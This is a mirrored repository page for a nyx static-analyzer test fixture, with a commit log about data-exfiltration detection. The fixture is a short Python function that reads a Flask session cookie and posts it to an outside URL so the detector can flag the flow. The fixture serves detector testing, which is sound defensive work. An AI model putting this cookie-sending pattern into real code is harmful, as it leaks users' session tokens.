mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-06 19:35:13 +02:00
58f1794a4e
* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers * feat: Implement cross-file data exfiltration detection with parameter-specific gate filters * feat: Add calibration tests and refine DATA_EXFIL severity scoring logic * feat: Introduce per-detector configuration for data exfiltration suppression * feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output * feat: Add tainted body and URL handling for data exfiltration detection * feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go * feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients * feat: Add synthetic externals handling for closure-captured variables in SSA * feat: Implement closure-based suppression for resource leak findings * feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns * feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders * feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt * feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests * feat: Add data exfiltration sinks for various languages and enhance documentation * refactor: Simplify formatting and improve readability in various files * refactor: Improve readability by simplifying conditional statements and adding clippy linting * docs: Update CHANGELOG and comments for data exfiltration features and configuration * docs: Clarify configuration instructions for data exfiltration trusted destinations * docs: Enhance comments for evidence routing logic in data exfiltration
20 lines
786 B
Python
20 lines
786 B
Python
"""demand_driven_data_exfil.
|
|
|
|
`Cap::DATA_EXFIL` parity for the backwards-analysis pass. The forward
|
|
engine emits a `taint-data-exfiltration` finding for the cookie →
|
|
fetch-body flow (Sensitive source, fixed destination URL). With
|
|
`backwards_analysis = true`, the post-pass must walk backwards from the
|
|
DATA_EXFIL sink demand, reach the cookie source, and annotate the
|
|
finding with `backwards-confirmed`. Validates that the cap-routing
|
|
logic in `taint/backwards.rs::DemandState` round-trips bit 13
|
|
(DATA_EXFIL) identically to the SQL/CMD/SSRF caps the rest of the
|
|
demand-driven suite covers.
|
|
"""
|
|
|
|
import requests
|
|
from flask import request
|
|
|
|
|
|
def forward_session():
|
|
sid = request.cookies.get("session")
|
|
requests.post("https://analytics.internal/track", json={"session": sid})
|